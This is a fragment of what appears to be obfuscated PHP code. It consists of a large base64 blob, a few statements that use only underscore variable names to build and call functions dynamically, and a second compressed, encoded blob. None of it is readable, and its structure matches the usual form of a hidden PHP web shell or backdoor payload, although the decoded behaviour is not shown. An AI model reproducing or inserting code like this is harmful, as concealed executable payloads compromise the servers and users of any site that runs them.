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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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